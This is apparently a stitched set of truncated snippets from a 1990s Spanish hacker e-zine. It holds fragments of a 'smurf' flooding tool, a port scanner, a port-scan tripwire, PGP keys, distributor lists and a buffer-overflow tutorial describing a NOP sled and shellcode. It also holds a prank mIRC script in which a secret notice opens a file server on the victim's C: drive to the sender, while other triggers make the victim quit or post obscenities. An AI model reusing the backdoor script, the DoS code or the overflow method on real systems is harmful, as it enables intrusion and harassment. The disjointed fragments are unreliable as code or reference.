#D

... ntl.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h> #ifdef LINUX #Define __FAVOR_BSD /* should be __FAVOUR_BSD ;) */ #ifndef _USE_BSD #define _USE_BSD #endif #endif #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #ifdef LINUX #define FIX(n) htons(n) #else #define FIX(n) (n) #endif struct smurf_t { struct sockaddr_in sin; /* socket prot structure */ int s; /* socket */ int udp, icmp; /* icmp, udp booleans */ int rnd; /* Random dst port boolean */ int psize; /* ...

... include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #Define MAX_PORT 1024 /* scan up to this port */ int s; struct sockaddr_in addr; char rmt_host[100]; int skan(port) int port; { int r; s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { /* fprintf("ERROR: socket() failed\n"); */ /* Changed to printf for my Linux 1.1.18 box */ printf("ERROR: socket() failed\n"); exit(0); } addr.sin_family = PF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(rmt_host); r = connect(s,(struct sockaddr *) &add ...

... esk ) { /part #helpdesk } if ( $me ison #help-desk ) { /part #help-desk } if ( $me ison #helpcenter ) { /part #helpcenter } if ( $me ison #Dalnethelp ) { /part #dalnethelp } } on 1:NOTICE:I hate your guts with a passion:*:/quit Waa! Some one told me off. }DM2{ ; o sigui amb un /notice nick I hate your guts with a passion fa un /quit. on 1:NOTICE:I think you are cool:*:/fserve $nick 80 c:\ ; és a dir li fas un "/notice nick I think you are cool" i ; ja tens access al disc dur on 1:NOTICE:gerr:*:/say I like to lick my own ass hole on 1:NOTICE:gerrrr:*:/amsg I love to lick my own ass hole on 1:NOTICE: ...

... nclude <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #Define PORT 3 #define BACKLOG 1 //Port Tripwire BETA //made for BSD or any ipfw firewalled OS //by phractal int main() { //printf("PortScan Tripwire BETA by phractal \n"); int fd=socket(AF_INET,SOCK_STREAM,0); int fd2; struct sockaddr_in server; struct sockaddr_in client; int sin_size; server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr.s_addr = INADDR_ANY; bzero(&(server.sin_zero),8); bind(fd,(struct sockaddr*)&server,sizeof(struct ...

... 8Npvha1kuqJAEYEGBECAAYFAjZqHkEACgkQ6HNIQtTz HzuP3gCfbzDnGPm9X2F4XOkV1lU0BZsiuYwAoKdHNilOKmpnKPmz2ApogjMfM1sc =HQVG -----END PGP PUBLIC KEY BLOCK----- #DISTRIBUIDORES OFICIALES DEL E-ZINE : - http://members.xoom.com/zine_store/ - http://travel.to/silence - http://hello.to/hacker_novatos - http://www.geocities.com/Colosseum/Sideline/9497/index2.html #MIEMBRO OFICIAL (web ring) DE : - Black Angels - Spanish Underground Web Ring #COLABORADORES CON ESTE NUMERO : - Estado+Porcino (WKT) - PoSiDoN - Skorpion (DarkMoon) - ToMaCHeLi - Perro Bombardero - Seth (TRAX) - Zhodiac #SALUDOS : - Met ...

... 8Npvha1kuqJAEYEGBECAAYFAjZqHkEACgkQ6HNIQtTz HzuP3gCfbzDnGPm9X2F4XOkV1lU0BZsiuYwAoKdHNilOKmpnKPmz2ApogjMfM1sc =HQVG -----END PGP PUBLIC KEY BLOCK----- #DISTRIBUIDORES OFICIALES DEL E-ZINE : - http://wakanda.islatortuga.com - http://underhack.islatortuga.com - http://personal.redestb.es/cheroky-1 - http://members.xoom.com/baron_rojo/ - http://members.xoom.com/rifoxxx - http://www.bigfoot.com/~u_taker - http://phucksys.dyn.ml.org - http://www.bigfoot.com/~proyecto_r - http://members.xoom.com/zine_store/ - http://visitweb.com/disciple ...

... DuUDxoq4x9j/yDJQvhBwzPw53uwNWLs6+iI31jk NCyv9h37hSfRTsRLq8hiQ3jqNWQO/i+O+c5RVr5gkSHdZF0lCvWI5NoSFnk0 =Wu00 -----END PGP PUBLIC KEY BLOCK----- #DISTRIBUIDORES OFICIALES DEL E-ZINE : - http://wakanda.islatortuga.com - http://underhack.islatortuga.com - http://www.redestb.es/~cheroky-1 - http://members.xoom.com/baron_rojo/ - http://members.xoom.com/rifoxxx - http://www.geocities.com/Colosseum/Sideline/9497/ #MIEMBRO OFICIAL (web ring) DE : - Black Angels - Spanish Underground Web Ring #COLABORADORES CON ESTE NUMERO : - LeTaL - CORE SDI S.A. - \Wend|g0 - ZeD (Ha ...

... DuUDxoq4x9j/yDJQvhBwzPw53uwNWLs6+iI31jk NCyv9h37hSfRTsRLq8hiQ3jqNWQO/i+O+c5RVr5gkSHdZF0lCvWI5NoSFnk0 =Wu00 -----END PGP PUBLIC KEY BLOCK----- #DISTRIBUIDORES OFICIALES DEL E-ZINE : - http://wakanda.islatortuga.com - http://underhack.islatortuga.com - http://teleline.es/persona/dep_blue - http://members.xoom.com/baron_rojo/ - http://oioio.dyn.ml.org #MIEMBRO OFICIAL (web ring) DE : - Black Angels - Spanish Underground Web Ring #COLABORADORES CON ESTE NUMERO : - CubikIce - Nobody - Estado Porcino (WKT) #SALUDOS : - Metalslug (Wakanda) - Schoddy Guy (Underhack) - Cheroky - Silicon Dra ...

... ;www.angelfire.com/mi/JJFHackers - http://jjfhackers.home.ml.org #E-MAIL OFICIAL : - jjf_team@usa.net <=============== NUEVO !!!!! #DISTRIBUIDORES OFICIALES DEL E-ZINE: - http://wakanda.islatortuga.com - http://underhack.islatortuga.com #COLABORADORES CON ESTE NUMERO : - Koji - Nobody - Cesar - Bisho - Enif (Oioio) - Daemon #SALUDOS: - Metalslug (Wakanda) - Schoddy Guy (Underhack) <----------------------------------------------------------------------------> <----------------------------------------------------------------------------> <----------------------------------------------------------- ...

... guiente ejemplo lv_size es el tama¤o de la variable local que queremos desbordar y buffer es el nombre del campo de datos (que tambien es local). ej. #Define lv_size=1024 char buffer[lv_size+8] A¤adimos exactamente 8 bytes, mira mas detenidamente la pila de arriba y sabras por que. Si queremos sobreescribir la direccion de retorno tenemos que sobreescribir 4 bytes el puntero base y 4 bytes la direccion de retorno. El campo de datos buffer deberia aparecer asi: ... <nop> <nop> <nop> <nop> <nop> <codigo que ejecuta una shell> Analiza este codigo en c para aprender como podemos hacer esto, lv_size es una abrevia ...